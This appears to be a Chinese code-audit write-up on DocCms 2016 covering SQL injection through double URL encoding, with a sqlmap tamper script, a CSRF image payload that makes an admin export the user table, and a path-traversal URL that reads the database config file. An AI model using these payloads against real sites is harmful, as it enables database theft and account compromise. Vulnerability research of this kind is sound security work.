代码审计之DocCms漏洞分析
0x01 前言
DocCms[音譯:稻殼Cms] ,定位于為企業(yè)、站長、開發(fā)者、網(wǎng)絡(luò)公司、VI策劃設(shè)計(jì)公司、SEO推廣營銷公司、網(wǎng)站初學(xué)者等用戶 量身打造的一款全新企業(yè)建站、內(nèi)容管理系統(tǒng),服務(wù)于企業(yè)品牌信息化建設(shè),也適應(yīng)用個(gè)人、門戶網(wǎng)站建設(shè)!
0x02 環(huán)境搭建
DocCms官網(wǎng):http://www.doccms.com
程序源碼:DocCms2016
下載地址:https://pan.baidu.com/s/1pLclifL
0x03 SQL注入
代碼分析
在/content/search/index.php中,首先對(duì)參數(shù)keyword進(jìn)行非法字符檢測,
進(jìn)一步追溯checkSqlStr函數(shù),看代碼如何過濾,在/inc/function.php中
checkSqlStr函數(shù)對(duì)傳入的字符串進(jìn)行正則匹配,檢測是否函數(shù)非法字符。
繼續(xù)看在/content/search/index.php中的get_search_result函數(shù):
參數(shù)keyword進(jìn)行非法字符檢測后,進(jìn)行url解碼,然后拼接到SQL語句中執(zhí)行。
如果我們傳入雙重url編碼的字符串,將繞過非法字符檢測,然后經(jīng)urldecode解碼,帶入數(shù)據(jù)庫中執(zhí)行,導(dǎo)致SQL注入漏洞存在。
漏洞利用
雙重URLencode編碼繞過,可通過編寫tamper繞過URLencode雙重編碼,tamper腳本如下:
#!/usr/bin/env python import re from urllib import quote from lib.core.data import kb from lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMALdef dependencies():pass def tamper(payload, **kwargs):retVal = payloadretVal = quote(quote(retVal)) return retVal通過SQLMAP加載tamper腳本,獲取數(shù)據(jù)庫敏感數(shù)據(jù)
0x04 CSRF
代碼分析
在\doccms\admini\controllers\system\back.php
export函數(shù)直接對(duì)提交上來的參數(shù)tables/sizelimit進(jìn)行處理,導(dǎo)出sql備份文件,未對(duì)訪問來源進(jìn)行有效驗(yàn)證,導(dǎo)致數(shù)據(jù)庫備份模塊存在CSRF漏洞。
漏洞利用
1、構(gòu)造CSRF漏洞利用代碼,只備份管理員用戶表doc_user:
<H2> CRSFTester</H2> <img src="http://127.0.0.1:80/admini/index.php?m=system&s=bakup&a=export&tables[]=doc_user&sizelimit=2048&dosubmit=開始備份數(shù)據(jù)" width="0" height="0" border="0"/>2、在網(wǎng)站首頁在線留言提交CSRF漏洞利用代碼:
3、當(dāng)管理員在后臺(tái)查看留言信息時(shí),自動(dòng)備份數(shù)據(jù)庫到/doccms/temp/data目錄下:
0x05 任意文件下載
代碼分析
在\doccms\admini\controllers\system\back.php中,
download函數(shù)只對(duì)文件名進(jìn)行簡單的判斷,然后把filename拼接到路徑中進(jìn)行下載,導(dǎo)致網(wǎng)站存在任意文件下載漏洞。
漏洞利用
1、構(gòu)造url下載全局配置文件獲取敏感信息:http://127.0.0.1/admini/index.php?m=system&s=bakup&a=download&filename=../../config/doc-config-cn.php
?
?2、獲取到數(shù)據(jù)庫賬號(hào)密碼等敏感信息:
?
未完,待續(xù)。
?
總結(jié)
以上是生活随笔為你收集整理的代码审计之DocCms漏洞分析的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 梦到生二胎女儿是什么意思
- 下一篇: CentOS 7 安装 JDK